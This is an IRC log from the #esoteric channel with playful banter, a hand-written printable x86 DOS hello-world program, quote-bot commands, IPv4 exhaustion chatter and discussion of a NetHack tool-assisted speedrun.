16:09:16 <elliott> ais523: give them to LOTS of evil people
16:09:29 <elliott> <wandernauta> nddrylliog: Fe2 looks very cool, but also very academic (i.e. I don't understand a nugget of it)
16:09:30 <quintopia> elliott: i asked in #freenode for an unaffiliated cloak and the +v's are saying stuff like i never asked...
16:09:43 <elliott> quintopia: you just have to keep asking every three hours
16:09:51 <nddrylliog> xD
16:09:59 <Ilari> elliott: That movie is the latest. Ends on turn 426. And as said, the length is bit less than 25 seconds.
16:10:02 <quintopia> elliott: how many tries should i expect it to take?
16:10:07 <elliott> Ilari: cool
16:10:12 <elliott> quintopia: 2-3 is typical for #freenode
16:10:56 <Ilari> elliott: The one in youtube is slowed down a lot (to avoid dropping frames).
16:11:03 <ais523> quintopia: it depends on if any staffers are paying attention
16:11:10 -!- elliott has set topic: DISCUSSION OF GOATS | HTTP://GOAT.ORG/ | NO NON-GOAT-RELATED TALK | http://208.78.103.223/esoteric/ | NO.
16:11:15 <elliott> RED ALERT
16:11:19 -!- locks has joined.
16:11:28 <elliott> locks: GOATS
16:11:30 * locks hides beneath the bleachers
16:11:37 <Vonlebio_> O GOD IT HAS STARTED
16:11:45 <Vonlebio_> BATTEN DOWN THE HATCHES
16:11:46 <nddrylliog> I think you'll handle the influx
16:11:48 <ais523> err, I don't like that topic
16:11:49 <elliott> MAN THE LIFEBOATS!
16:11:50 <quintopia> wot? discussion of goatse?
16:11:55 <elliott> ais523: ssssh!
16:11:57 <elliott> ais523: nddrylliog mentioned us in #ooc-lang!
16:12:00 <elliott> it's our only hope!
16:12:03 <ais523> secure secure secure shell!
16:12:09 <elliott> it's a REALLY secure shell
16:13:06 -!- ais523 has quit (Read error: Connection reset by peer).
16:13:17 <quintopia> not much is happening so far...
16:13:32 <nddrylliog> told ya
16:13:33 -!- ais523 has joined.
16:13:44 <Ilari> That level of security must obviously involve X.509 and PKI up the wazoo... No matter if those working with X.509 wouldn't trust it for access control to beer fridge...
16:14:05 <elliott> apparently they're too boring
16:14:24 -!- elliott has set topic: For the discussion of hiybbprqag and mbzrxpgjys | http://208.78.103.223/esoteric/ | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
16:14:53 -!- nddrylliog has quit (Quit: Ex-Chat).
16:15:05 <ais523> nddrylliog's nick would not be out of place in the topic
16:15:22 <locks> this place bombs
16:15:30 <elliott> locks: It totally bombs.
16:15:41 <elliott> locks: http://esolangs.org/ may be enlightening.
16:15:52 <elliott> nddrylliog is in here because ooc is so bad it counts as an esolang HAHA
16:16:54 <locks> don't diss ndd, poor fellow
16:17:37 <elliott> locks: we love him, it's just that he gets unhappy if we mention ooc
16:17:38 <elliott> all that regret
16:17:56 <elliott> <nddrylliog> Vonlebio_, well, I've already exhausted the whole Java/C++/C#/whatever object-oriented fraud there is universe by re-implementing mine and being unhappy with it as well. So I'm trying something new <-- maybe I'll put that in the #ooc-lang topic
16:17:59 <ais523> elliott: now I'm trying to figure out just who you're trolling
16:18:01 <elliott> i wonder if it's +t
16:18:05 <elliott> ais523: EVERY OOC USER
16:18:09 <elliott> all 3 of them
16:19:46 <Vonlebio_> ISTR having a pleasant conversation with nddrylliog once, but I can't remember what it was for the life of me.
16:20:17 <elliott> Vonlebio_: http://i.imgur.com/KEujW.jpg
16:20:23 <elliott> What you say to becoming invisible and killing everyone?
16:20:23 -!- azaq23 has joined.
16:20:25 <ais523> hmm, offtopic #esoteric has really shifted
16:20:26 <elliott> (Sorry, -minecraft ->)
16:20:31 <ais523> it seems to be all about trolling nowadays
16:20:37 <elliott> it does?
16:20:57 <locks> "all 3 of them", I laughed
16:21:12 <ais523> elliott: well, more today specifically, than nowadays
16:22:14 <locks> elliott: you are a funny bastard
16:22:20 <elliott> no i'm not
16:22:21 <locks> at least so far
16:22:33 <elliott> hmm, does that mean i have expectations to keep up?
16:22:38 <elliott> worrying
16:22:51 <elliott> normally people just accept that I'm irritating and I go about my day
16:23:00 -!- elliott has changed nick to noone.
16:23:06 -!- noone has changed nick to elliott.
16:23:33 <elliott> ais523: paste your self-uudecoder again?
16:23:57 <ais523> which version specifically?
16:23:58 <ais523> the C code that generates it?
16:24:02 <Vonlebio_> You mean uudecoding it produces itself?
16:24:04 <elliott> no, the actual machine code
16:24:04 <ais523> the executable that does the encoding?
16:24:10 <Vonlebio_> The eigenstring for uudecoding?
16:24:14 <elliott> Vonlebio_: no, it's a printable x86 executable
16:24:17 <elliott> that uudecodes things
16:24:20 <elliott> I'm not sure why it's self-
16:24:20 <ais523> the executable that prints out the C code that does the encoding?
16:24:26 <ais523> elliott: it doesn't uudecode
16:24:31 <elliott> ais523: I just want the thing that's x86 machine code. :p
16:24:33 <elliott> And printable.
16:24:42 <Vonlebio_> We need to find eigenvalues for EVERYTHING.
16:24:44 <ais523> it's basically a program that generates printable executables that print arbitrary binary
16:25:09 <elliott> ais523: an executable that prints the C code, then
16:26:42 <ais523> XP_W^VH%35%DCPYXPH%=5%=CP[]UM#(UX%??t&* * * * ZR 1() !GFF=\ouU0_0<0^3L1L0^292L1^1Q1L2Y1D1\3R3P0A3B2D0<1p3p3o11131p3>2D0<3:0<18253<2:170D021p3D0>0A0D0<183<3:1:1D0432041p24143o031p2D0p331o0A2D0B2A3I1J2I1J2D321124310o13031D0=0p3o0302113A220=2I1J2I1J22112o0D011412112B02112o0D042A0D0432041p2B2B2D0o2B1I1J2n3I1J2p231o0o1p212D0B042=0?0B1B2B042B242A142B1B2B042A1@2B1=342B3@1m0m032p0o1o0p3B0D2<2@090@061@1;0@15050@382@380@0D2A0B0o2132130B2B1@263o251B1A042A1@
16:26:44 <ais523> 3=342B3@3=3I1J2B0B2B02112o0B2B1B2o2=1323331o043B0B0o2132130B2B1@163o251B1B1A1;193;2=311412112B011412112B0A1@3A0o2B1A0o2B1>2@1>2A132p0p22112o032B0B0o2132130B2B1@263o251A0I1J2D2C143C143D2A0C380C3B3C3=0C3A1B2B02112o0B2B1B2o2A3?0A1B0B2B02112o0B2B1B2o2=0C3p0C3B1B2C3<0C3A0C3@0C3B3B2B02112o0B2B1B2o2C1?0B1>2D1B0B0@163o251=1B0o2132130I1J2B2B13213p03112B0B0o2132130B2B1@163o251A0D2p242D2B1B1C2C2B0@263o251=1B0o2132130B2B13213p03112B0B0o2132130B2B1@
16:26:46 <ais523> 263o251A0D2o3B342D2B1B1C2C2@2@2B332p0o1o0p3B0I1J2D2608053735272:0C1@3?1C1;0<380616080:0C1=1?1C1=1<38063517191D3B07160C1=350=3o0C2B2D0B2D0B2D0B2D06282D0@1B0B1D0D1;3;2;2=1505013o171@053@0=0@052@390@1D2I1J2D290@052@2>1@290@152@1D2A0B0o2132130B2B1@263o251B1C2C211412112B0A1@1A0o2B1C2C232p0o1o0p3B0D2<0<0<1?1D2A0B0o2132130B2B1@263o251B1C2C2B0C3m2C3B332p3313123B0I1J2B0o2132130B2B1@263o251A0>0@1A0@0B1A0@
16:26:47 <ais523> 1B1C2C2B0B0B2B02112o0B2B1B2o2=132o0311010B0B0o2132130B2B1@163o251B1C1@2?1?2B1A011412112B0A1@3A0o2B1A0B0B2B02112o0B2B1I1J2B2o2=132o0311010B0B0o2132130B2B1@163o251B1A3?0A3?2?0B1A011412112B0A1@3A0o2B1A032431013p331B0B0o2132130B2B1@163o251B1A032431013p331B0B0o2132130B2B1@263o251I1J2B1B2@0B1B1>2@1>3I1J2m1I1J2@@A5
16:26:56 <ais523> (there is no whitespace past the end of the first line)
16:27:01 <ais523> did all four lines arrive?
16:27:11 <elliott> ais523: yikes, don't you have something shorter?
16:27:16 <elliott> I mean the one that ended with "AIS"
16:27:18 <ais523> let me get a hello world
16:27:21 <ais523> and they all end @@A5
16:27:25 <ais523> where A5 are my initials
16:27:48 <ais523> XP_W^VH%35%DCPYXPH%=5%=CP[]UM#(UX%??t&* * * * ZR 1() !GFF=\ouU0_0<0^3L1L0^292L1^1I2L0Y1D1\3R3P0:031101013A0D0o313p21030D1J2@@A
16:27:50 <ais523> there, that's a hello world
16:28:04 <ais523> although I think it ends with a UNIX newline
16:28:15 <ais523> yep, it does
16:28:45 <elliott> ais523: you forgot the last 5
16:28:50 <ais523> err, yes, copy/paste fail
16:28:59 <elliott> ais523: works as a COM, right?
16:29:01 <ais523> not that it actually matters
16:29:03 <ais523> and yes, .com
16:29:18 <elliott> ais523: does the newline matter?
16:29:29 <ais523> the A5 at the end is to cause the loading to fail noisily rather than silently if there's enough space to load the executable, but not enough stack space to run it
16:29:38 <ais523> which only happens if your memory below 640K is almost exhausted
16:29:42 <elliott> haha
16:29:45 <elliott> ais523: does the newline matter, though?
16:29:48 <ais523> and probably not, but it feels weird printing a UNIX newline on a DOS system
16:30:32 -!- nddrylliog has joined.
16:30:47 -!- nddrylliog has quit (Read error: Connection reset by peer).
16:30:50 <Vonlebio_> ais523: did you actually assemble that, or?
16:30:58 <ais523> XP_W^VH%35%DCPYXPH%=5%=CP[]UM#(UX%??t&* * * * ZR 1() !GFF=\ouU0_0<0^3L1L0^292L1^1I3L0Y1D1\3R3P0:031101013A0D0o313p21030D1I1J2@@A5
16:31:00 <ais523> there, that's better
16:31:04 <ais523> Vonlebio_: no, I wrote the machine code by hand
16:31:21 <ais523> it turns out that there aren't any control flow instructions made entirely out of printable characters
16:31:32 <ais523> so instead, you have to construct them at runtime using instructions that are
16:31:57 <Vonlebio_> ais523: wait, is that second one functioning?
16:32:05 <ais523> Vonlebio_: ?
16:32:07 <elliott> it works in DOSBox, IIRC
16:32:15 <Vonlebio_> Wow.
16:32:27 <impomatic> If you're interested in Eigenratios, this blog is pretty interesting http://eigenratios.blogspot.com
16:32:27 <ais523> it doesn't work on wineconsole, though
16:32:50 -!- nddrylliog has joined.
16:32:56 <ais523> it also exploits a few features of DOS which were there for backwards compatibility even in DOS 1
16:33:07 <ais523> and are incredibly obsolete nowadays, but preserved just in case anyone still cares about them
16:33:19 <nddrylliog> backwards compatibility in DOS 1? O_o
16:33:41 <ais523> in particular, it misinterprets the CP/M compatibility return address as a character in order to initialise registers
16:33:59 <ais523> the very first instruction, the X, is actually a pop instruction
16:34:34 <elliott> impomatic: very unupdated though
16:35:12 <ais523> and then the P is a push that puts the 0 back onto the stack so I can use it for other things
16:35:22 <ais523> hmm, I should disassemble that sometime, although the disassembly goes crazy after a while
16:36:26 <pikhq> nddrylliog: There's quite a few oddities in DOS because of its odd history...
16:36:49 <nddrylliog> pikhq: btw, which DOS are we talking about? There was a few different flavours, IIRC
16:37:23 <ais523> I used the MS-DOS 3 manual to write suuda, although I wouldn't be be surprised if it worked on other DOS flavours too
16:37:24 <pikhq> MS-DOS and related OSes.\
16:37:43 <ais523> (yes, MS-DOS 3 was massively obsolete when I wrote it)
16:38:02 <ais523> MS-DOS 1 didn't even have directories
16:38:16 <pikhq> ais523: Yeah, but MS-DOS 3 had pretty much all the features that you'd care about.
16:38:47 <pikhq> ais523: And it ought to be compatible with everything that you'd find called "DOS"...
16:42:38 <pikhq> IIRC, \ and / are both valid path seperators on DOS.
16:42:46 <pikhq> As a *UNIX* "compatibility" feature.
16:44:19 -!- Slereah has quit (Ping timeout: 276 seconds).
16:47:19 -!- augur has joined.
16:49:24 -!- Slereah has joined.
16:50:33 <impomatic> ais523: I care... Obsolete stuff needs to be preserved :-)
16:50:54 <nddrylliog> there probably is a "your mom" joke hiding in there
16:51:00 <ais523> impomatic: about what?
16:51:06 <ais523> oh, those features in DOS
16:51:10 <ais523> well, I care too, because I used them
16:51:25 <ais523> hmm, I wonder if nowadays, CP/M executables /still/ run correctly in NTVDM?
16:52:14 <elliott> ais523: meanwhile, in #ooc-lang, somebody is arguing that you can store Chaitin's constant in a number variable, "with enough laziness"
16:52:20 -!- Vonlebio_ has quit (Quit: Page closed).
16:52:27 <elliott> nddrylliog why don't you like disown these people and go on a pilgrimage ... a pilgrimage of fire
16:52:33 <augur> elliott: it's even worse than merely stupid to ask a linguist those questions
16:52:42 <elliott> augur: it's RACISM
16:52:54 <ais523> elliott: heh, that's hilarious; it'd work up to a point, and I'm not even sure it's decidable where that point is
16:53:00 <elliott> <Vonlebio_> wandernauta: I suggest you look up "computable number" on WP.
16:53:00 <elliott> <locks> WordPress?
16:53:05 <augur> if we expect humans to have any sort of insight into their language, we expect only native speakers to have such insights
16:53:07 <elliott> goddamn nddrylliog, don't you have ops in this thing so you can ban everyone :(
16:53:10 <elliott> oh wait locks is in here
16:53:15 <elliott> HEY OERJAN WE NEED BANS
16:53:15 <impomatic> ais523: about CP/M compatible file i/o.
16:53:17 <locks> :D
16:53:25 <nddrylliog> so, let's recap 1) I'm not responsible of whatever is on ooc-lang.org 2) I'm not responsible of whoever is on #ooc-lang 3) I'm not responsible. EOL
16:53:37 <augur> almost by necessity, since the object of study in linguistics is naturally acquired language
16:53:54 <elliott> nddrylliog: then who do i blame :(
16:53:55 <elliott> god?
16:54:28 <nddrylliog> elliott: ask your mirror
16:54:28 <locks> blame yourself, fool
16:54:42 <elliott> hey I _erase_ stupidity from this world. with knives.
16:54:46 <elliott> :}
16:54:50 <nddrylliog> everytime I come back to IRC, I wonder why I left
16:54:55 <nddrylliog> then eventually I remember
16:54:57 <nddrylliog> now I remember
16:55:05 <elliott> nddrylliog: don't worry
16:55:07 <elliott> we're all nice in here
16:55:12 <elliott> just stay here, forever
16:55:24 <nddrylliog> elliott: are you kidding? you're horrible, horrible people. That's why I feel at home here.
16:55:35 <ais523> `addquote <nddrylliog> elliott: are you kidding? you're horrible, horrible people. That's why I feel at home here.
16:55:40 <nddrylliog> dammit
16:55:42 <ais523> to be fair, some of us are more horrible than others
16:55:47 <HackEgo> 285) <nddrylliog> elliott: are you kidding? you're horrible, horrible people. That's why I feel at home here.
16:55:55 <elliott> we're really nice horrible people
16:56:01 <nddrylliog> I already have several quotes in there
16:56:04 <locks> best way to erase stupidity is to educate
16:56:05 <nddrylliog> how do you search?
16:56:18 <locks> well, up to a certain point. then it's time for knives
16:56:39 <elliott> educating people is hard. they say stupid things and it hurts.
16:56:43 <elliott> nddrylliog: `quote foo
16:56:48 <elliott> searches with spaces don't work because i don't know why
16:56:56 <elliott> nddrylliog: `pastequotes foo links you to all the results for that
16:57:01 <elliott> i wrote this system, it's totally expert.
16:57:02 <ais523> elliott: probably screwed up your shell escaping
16:57:05 <ais523> `quote elliott
16:57:06 <HackEgo> 208) <fungot> elliott: i like scsh's mechanism best: it's most transparent and doesn't really serve a very useful feature. \ 211) <fungot> elliott: it's hard to debug havoc on your mirror if you accidentally hit r, then a character could be multiple words long, depending on the task. \ 220) <Gregor> elliott: My university has
16:57:13 <elliott> ais523: i didn't
16:57:15 <elliott> `url bin/quote
16:57:16 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/bin/quote
16:57:17 <nddrylliog> `quote nddrylliog
16:57:19 <HackEgo> 276) <nddrylliog> are you always careful to have a small enough margin so that it can't contain the proof? <oklofok> nddrylliog: i usually use latex, and make sure my hd is almost full \ 277) <nddrylliog> I went to chat with him after his talk at the ELC and he was like "hum, right - humans. How do they work again... oh, hi!" \ 278)
16:57:21 <elliott> ais523: see for yourself
16:57:31 <elliott> ais523: note that in hackego, $1 contains the whole argument line
16:57:43 <elliott> `pastequotes nddrylliog
16:57:43 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.21628
16:58:02 <elliott> he doesn't know what rationals are :(
16:58:28 <nddrylliog> oh, the "heavy liquor" one is good.
16:58:39 <nddrylliog> unfortunately 277 lacks context :/ I was talking about Walter Bright
16:58:46 <elliott> nddrylliog: we just remember context
16:58:51 <elliott> it's easier than stuffing it all into one irc line :P
16:58:59 <elliott> I probably should have put [on Walter Bright] before, though
16:59:06 <nddrylliog> elliott: can you edit?
16:59:11 <elliott> nddrylliog: well technically yes.
16:59:16 <nddrylliog> elliott: will you edit?
16:59:16 <elliott> `run grep humans. quotes
16:59:18 <HackEgo> <nddrylliog> I went to chat with him after his talk at the ELC and he was like "hum, right - humans. How do they work again... oh, hi!"
16:59:26 <locks> who's walter bright and why is he so bright
16:59:39 <nddrylliog> locks: he's to D what I'm to ooc
16:59:40 <nddrylliog> locks: guilty
16:59:45 <elliott> nddrylliog: [about Walter Bright] or [on Walter Bright]
16:59:56 <nddrylliog> elliott: I prefer "on", it can be mis-interpreted
17:00:00 <elliott> `run sed -i 's/\(.*humans\..*\)/[on Walter Bright] \1/' quotes
17:00:00 <locks> on
17:00:03 <HackEgo> No output.
17:00:03 <elliott> `quote 277
17:00:04 <HackEgo> 277) [on Walter Bright] <nddrylliog> I went to chat with him after his talk at the ELC and he was like "hum, right - humans. How do they work again... oh, hi!"
17:00:09 <elliott> you're welcome
17:00:10 <elliott> EXPERT SED
17:00:12 <nddrylliog> elliott: thanks a lot
17:00:16 <elliott> `addquote <locks> who's walter bright and why is he so bright <nddrylliog> locks: he's to D what I'm to ooc <nddrylliog> locks: guilty
17:00:17 <HackEgo> 286) <locks> who's walter bright and why is he so bright <nddrylliog> locks: he's to D what I'm to ooc <nddrylliog> locks: guilty
17:00:20 <nddrylliog> elliott: also, subtitle "ELC" as "Emerging Languages Conference"
17:00:25 <elliott> nddrylliog: no, fuck you
17:00:28 <elliott> :D
17:00:32 <nddrylliog> elliott: \o/
17:00:32 <myndzi> |
17:00:32 <myndzi> /`\
17:00:37 <elliott> maybe we need a substring-based annotation system
17:00:38 <elliott> and comments
17:00:42 <elliott> and folksonomic tags
17:00:49 <elliott> coded in Ruby
17:00:53 <elliott> for hipsters
17:00:54 <ais523> why Ruby?
17:00:58 <elliott> working only on OS X
17:00:58 <nddrylliog> for hipsters
17:00:58 <locks> I should stopwait wtf @ myndzi
17:01:00 <ais523> ag
17:01:01 <ais523> *ah
17:01:09 <elliott> ais523: because it /was/ hip, but then it wasn't
17:01:09 <locks> RUBY IS AWESOME SUKER
17:01:10 <nddrylliog> myndzi is tabbig wrong :/
17:01:13 <elliott> now it's hip again, because it's retro
17:01:14 <elliott> \o
17:01:15 <elliott> \o/
17:01:15 <myndzi> |
17:01:15 <myndzi> >\
17:01:17 <elliott> nddrylliog: it's for mirc users
17:01:18 <elliott> \o
17:01:21 <elliott> ,o,
17:01:24 <elliott> \m/
17:01:26 <elliott> grr
17:01:26 <locks> what \o/
17:01:26 <myndzi> |
17:01:26 <myndzi> |\
17:01:28 <elliott> i forget what triggers it
17:01:31 <nddrylliog> \o/
17:01:31 <myndzi> |
17:01:31 <myndzi> >\
17:01:32 <elliott> nddrylliog: they fail at spaces
17:01:35 <elliott> \o/\o/\o/
17:01:35 <myndzi> | | |
17:01:35 <myndzi> /´\ >\/|
17:01:36 <ais523> I thiought /o/ triggered it too
17:01:36 <myndzi> |
17:01:36 <myndzi> /|
17:01:36 <nddrylliog> yeah.
17:01:39 <nddrylliog> oooh
17:01:43 <locks> myndzi sucks
17:01:43 <elliott> /o/ \o/ \o\
17:01:43 <myndzi> ¦ ¦ |
17:01:43 <myndzi> ´¸¨ ´¸¨ >\
17:01:44 <nddrylliog> let's try this again /o/
17:01:44 <myndzi> |
17:01:44 <myndzi> /|
17:01:47 <nddrylliog> augh.
17:01:50 <elliott> i use a proportional font :D
17:01:50 <locks> I'M GONAN /o/ OUT OF HERE
17:01:50 <myndzi> |
17:01:51 <myndzi> |\
17:01:56 <ais523> elliott: so do I
17:02:05 <ais523> IRC has no inherent reason to line up in columns
17:05:24 <pikhq> Just tradition.
17:05:35 -!- Phantom_Hoover has joined.
17:06:20 <nddrylliog> Phantom_Hoover: you here?
17:06:39 <elliott> nddrylliog: you here?
17:07:07 <nddrylliog> elliott: let's talk about hiybbprqag.
17:07:41 <elliott> yes.
17:07:41 <elliott> very.
17:07:52 <locks> about what?
17:08:05 <Phantom_Hoover> I prefer mbzrxpgjys myself.
17:08:12 <nddrylliog> locks: we could talk about mbzrxpgjys if you prefer
17:08:28 <locks> both, at the same time
17:08:53 <quintopia> ijoijioj
17:09:22 <Phantom_Hoover> quintopia, get out of here, you pervert.
17:09:37 <elliott> qwljqw
17:09:41 <nddrylliog> pedohiybbprqag.
17:09:45 <nddrylliog> that sounds dirty
17:10:13 <quintopia> Phantom_Hoover: ssadasdsn!!!
17:10:38 <elliott> Pedo hi! Why BB... prqag?
17:11:20 <quintopia> you could have done something more interesting with the prqag. poor qag :(
17:11:20 <nddrylliog> *public relation gag.
17:12:03 * pikhq likes having a "fuck it's cold" day.
17:12:13 <pikhq> Should have had one yesterday, but oh well..
17:14:14 <impomatic> I don't get it. Are you speaking some kind of esoteric human language?
17:14:52 <elliott> CLEARLY
17:15:42 <pikhq> motirontà'tehàyo!
17:15:44 -!- addyf3 has joined.
17:15:55 <nddrylliog> my name is iniguo montoya
17:15:57 <nddrylliog> you've killed my father
17:15:59 <nddrylliog> prepare to die
17:16:04 <addyf3> Oooo
17:16:07 <elliott> addyf3: c
17:16:09 <ais523> nddrylliog: ouch, you screwed up that quote badly
17:16:12 -!- quintopia has quit (Changing host).
17:16:12 -!- quintopia has joined.
17:16:17 <elliott> burn the witch
17:16:18 <nddrylliog> ais523: bahh. my cloudy brain doesn't care
17:16:23 <elliott> quintopia: TADA
17:16:27 -!- addyf3 has left (?).
17:16:28 <elliott> * quintopia has quit (Changing host)
17:16:28 <elliott> * quintopia (~quintopia@unaffiliated/quintopia) has joined #esoteric
17:16:36 <nddrylliog> okay, it's inigo, not iniguo
17:16:38 <pikhq> My name is Inigo Montoya. You killed my father. Prepare to die.
17:16:38 <quintopia> yay, someone useful appeared!
17:16:41 <elliott> nddrylliog: you scared addyf3 away quickly!
17:16:43 <nddrylliog> and it's you, not you'ved.
17:16:44 <quintopia> (i had to ask again)
17:16:53 <nddrylliog> 7yaukdjlflsd/fadsf
17:17:16 <pikhq> nddrylliog: Well, yes. Given that he is exacting revenge *decades* later...
17:17:30 <impomatic> jgs v fgvyy qba'g trg vg :-(
17:17:47 <nddrylliog> pikhq: well, regardless, I didn't say *you've _just_ killed my father*.
17:17:56 <quintopia> pikhq: ssddfdfwew3
17:18:04 <pikhq> nddrylliog: "You've killed my father" kinda suggests that it just happened.
17:18:13 <elliott> oh Inigo Montoya isn't the protagonist? maybe i should actually watch the films :D
17:18:23 <pikhq> elliott: s/films/film/
17:18:23 <elliott> oh wait
17:18:24 <elliott> wtf
17:18:24 <quintopia> he is A protagonist
17:18:25 <elliott> all this time
17:18:27 <pikhq> elliott: Or read the book.
17:18:29 <quintopia> there are several
17:18:32 <elliott> i thought Inigo Montoya was from Kill Bill ... I swear to god
17:18:35 <elliott> now i'm really confused
17:18:39 <elliott> lol i'm not kidding
17:18:41 <elliott> how did i even
17:18:41 <pikhq> elliott: The Princess Bride.
17:18:44 <nddrylliog> ..........
17:18:47 <quintopia> Princess Bride FAIL you are terrible person
17:18:48 <elliott> ok i'm gonna crawl up into a hole now and wonder what happened to my life
17:18:49 <pikhq> elliott: It is one of the best movies ever.
17:18:52 <pikhq> elliott: Watch it now.
17:18:52 <elliott> i know, i'm just
17:18:54 <elliott> how did i
17:18:58 <elliott> ->
17:18:58 -!- elliott has left (?).
17:19:04 <quintopia> good boy
17:19:29 <impomatic> I want a "My name is Inigo Montoya" t-shirt
17:19:45 <pikhq> I want to remember where I put my copy of that book.
17:19:47 <ais523> The Princess Bride is famous for all sorts of things
17:19:48 <quintopia> i went into #irssi and was like "are there any experts here?" and they're all "ask your real question" and i'm like "here's my real question:" and they're all ""
17:20:04 <quintopia> i'm gonna take that as a no, no experts today
17:20:14 <locks> lmao
17:20:30 <locks> is everyone in here a bitch?
17:20:38 <quintopia> ask your real question, locks
17:20:44 <pikhq> locks: I doubt there's any female dogs on IRC.
17:21:01 <locks> there are on twitter
17:21:04 <quintopia> Phantom_Hoover: nothing if you're not an idiot. i do it all the time.
17:21:11 <Phantom_Hoover> <elliott> i thought Inigo Montoya was from Kill Bill ... I swear to god ← CURL UP IN A HOLE AND DIE
17:21:29 <impomatic> pikhq: is your copy the one with red/black text?
17:21:31 -!- elliott has joined.
17:21:34 <elliott> have you all forgotten yet
17:21:40 <pikhq> impomatic: I don't think so.
17:21:45 <quintopia> oh that kid who didn't know where inigo montoya was from is back
17:21:48 -!- elliott has left (?).
17:22:10 -!- locks has left (?).
17:25:50 -!- elliott has joined.
17:25:55 -!- elliott has left (?).
17:28:54 <Ilari> Hmm... A graph predicting APNIC exhaustion end-May... Then RIPE in end-August and ARIN in end-September...
17:31:57 <ais523> ARIN's more likely than the others to get /8s handed back to it, I think
17:32:07 <ais523> when's the press conference happening?
17:32:28 <pikhq> Tomorrow at ?
17:33:26 <ais523> where ? is a metasyntactic variable, rather than a punctuation mark?
17:34:12 <Ilari> AFAIK, 1430Z or something like that...
17:34:28 <pikhq> ais523: Yes.
17:35:02 <ais523> hmm, at least there's /no way/ IPv4 will last out until 20123
17:35:04 <ais523> *2102
17:35:05 <ais523> *2012
17:35:21 <ais523> and thus, won't lead to the end of the world
17:35:57 <Ilari> This graph would show depletion of 3 of 5 RIRs before this year is over...
17:36:11 <pikhq> Ilari: That's crazy.
17:37:21 <ais523> AfriNIC will likely start depleting a lot faster when people who need IPv4s get a colo in Africa just so they can get at them
17:39:36 <Ilari> Also, LACNIC... LACNIC also includes the caribean (which should have better connectivity than Africa...)
17:40:49 -!- elliott has joined.
17:40:57 <elliott> ais523: please tell me the TAS run will end up killing Ischak
17:41:04 <elliott> hmm, is that how you spell it?
17:41:15 <ais523> "Izchak", and we never meet him
17:41:17 <elliott> *Izchak
17:41:22 <elliott> ais523: how far along are you?
17:41:23 <ais523> he's in an optional part of the game, and we have no reason to go there
17:41:26 <Ilari> Hmm... Do requests for <script> elements include referrers?
17:41:32 <ais523> and it's hard to tell
17:41:41 <quintopia> BLAH
17:41:59 <elliott> ais523: how many times shorter is the current video to what you predict the final will be
17:41:59 <elliott> ?
17:42:21 <ais523> as I said, it's pretty hard to tell
17:42:22 <elliott> the @ command that changes autopickup settings is used to
17:42:22 <elliott> instruct our character in advance of stepping onto a square whether he
17:42:22 <elliott> should pick up the item on that square or not
17:42:22 <nddrylliog> tonight sounds like a good night for drunk coding
17:42:26 <elliott> hmm, can't you just not step on the bad rings?
17:42:32 <ais523> elliott: they're in the way
17:42:36 <elliott> heh
17:42:41 <ais523> and @ doesn't cost a turn anyway
17:42:43 <elliott> ais523: so does @ just toggle autopickup?
17:42:44 <ais523> yep
17:42:46 <elliott> ah
17:42:49 <Ilari> If they do... Well, that would be handy method of spying users...
17:43:11 <ais523> Ilari: I think that's how sites tell who's hotlinking their data
17:43:23 <ais523> although remember that referrers can be spoofed, quite easily in fact
17:43:41 <elliott> ais523: haha, do you steal from the shk in turn 68 by teleporting far, far away?
17:43:44 <elliott> i'm up to that point
17:44:05 <elliott> yep!
17:44:11 <elliott> kops :D
17:44:16 <ais523> yep, further than we could go without some massively lucky drops
17:44:28 <Ilari> ais523: Yeah, they can, but how many users you know who have referrers blocked or severly restricted?
17:44:34 <elliott> yes. call it luck. cough
17:44:47 <ais523> Ilari: I do, but not by default
17:45:05 <ais523> I can easily send arbitrary referrers to arbitrary sites though if I feel like it for some reason
17:45:11 <ais523> just there's rarely an actual reason
17:45:26 <Ilari> I have them blocked (main browsers) or severly restricted (firefox)
17:47:05 <elliott> lol, you're still exp 1
17:47:42 <quintopia> elliott: what sort of hiybbprqag are you guys mbzrxpgjysing about?
17:47:52 <elliott> the nddrylliog kind
17:48:14 <elliott> (Incidentally, we also became female at this point; the gender change
17:48:14 <elliott> is permanent, and an occupational hazard of repeatedly polymorphing.
17:48:14 <elliott> Our gender changes back and forth repeatedly this TAS, and is
17:48:14 <elliott> irrelevant anyway, so we're going to stop mentioning it.)
17:48:16 <elliott> SO IRRELEVANT
17:48:38 <Ilari> So not only is external javashit a security risk... It is also a privacy risk.
17:49:01 -!- nddrylliog has quit (Quit: so long).
17:49:07 <elliott> "javashit"; time until "M$": 5 hours
17:50:02 <olsner> <elliott> oerjan: i was inspired by your talking with olsner actually.
17:50:07 <olsner> elliott: when did he talk to me?
17:50:18 <elliott> olsner: early this year
17:50:25 <elliott> base-pi base-e bijective base increment decrement cat language
17:50:47 <elliott> (What
17:50:47 <elliott> walking into walls does is use numbers in the sequence for engraving
17:50:47 <elliott> erosion, which is basically irrelevant.)
17:50:50 <elliott> ais523: you already mentioned that before
17:51:13 <quintopia> wot game. srsly.
17:51:16 <elliott> nethack
17:51:21 <olsner> elliott: oh, that
17:51:27 <elliott> ais523: also, how come you IRC with a proportional font but composed this file for monospaced viewers?
17:51:49 <ais523> elliott: because it's eventually going to go into a system that's agnostic about line breaks
17:51:56 <ais523> but I'm editing it in a programming editor
17:52:07 <elliott> ais523: I meant the double-spacing after full stops
17:52:11 <olsner> I did start on a binary-as-base-255-to-base-pi-and-back thingy
17:52:14 <elliott> which only makes sense when monospaced
17:52:17 <ais523> oh, that's just what Emacs does by default
17:52:18 <elliott> olsner: indeed
17:52:20 <elliott> ais523: heh
17:52:23 <ais523> and gets all confused if you try a single sapce
17:52:25 <ais523> *space
17:52:43 <Phantom_Hoover> <elliott> "javashit"; time until "M$": 5 hours ← wha? Who wait that?
17:52:46 <olsner> it was (still is) just missing a language to go between "...-base-pi" and "-and-back"
17:52:50 <elliott> Phantom_Hoover: Ilari said "javashit"
17:53:07 <elliott> First off, one of you (the only one who actually read this far and is
17:53:08 <elliott> still paying attention) is probably asking "Hey, what happened to turn
17:53:08 <elliott> 75?".
17:53:11 <elliott> ais523: i'm too dim to notice that!
17:53:38 <ais523> haha
17:53:56 <elliott> (In particular, we're manipulating a nearby shark to go in the
17:53:57 <elliott> wrong direction; we'd be bitten to death by the shark if we didn't
17:53:57 <elliott> wait now, but as it is, with its AI manipulated to go the wrong way we
17:53:57 <elliott> never see it.)
17:53:57 <elliott> :D
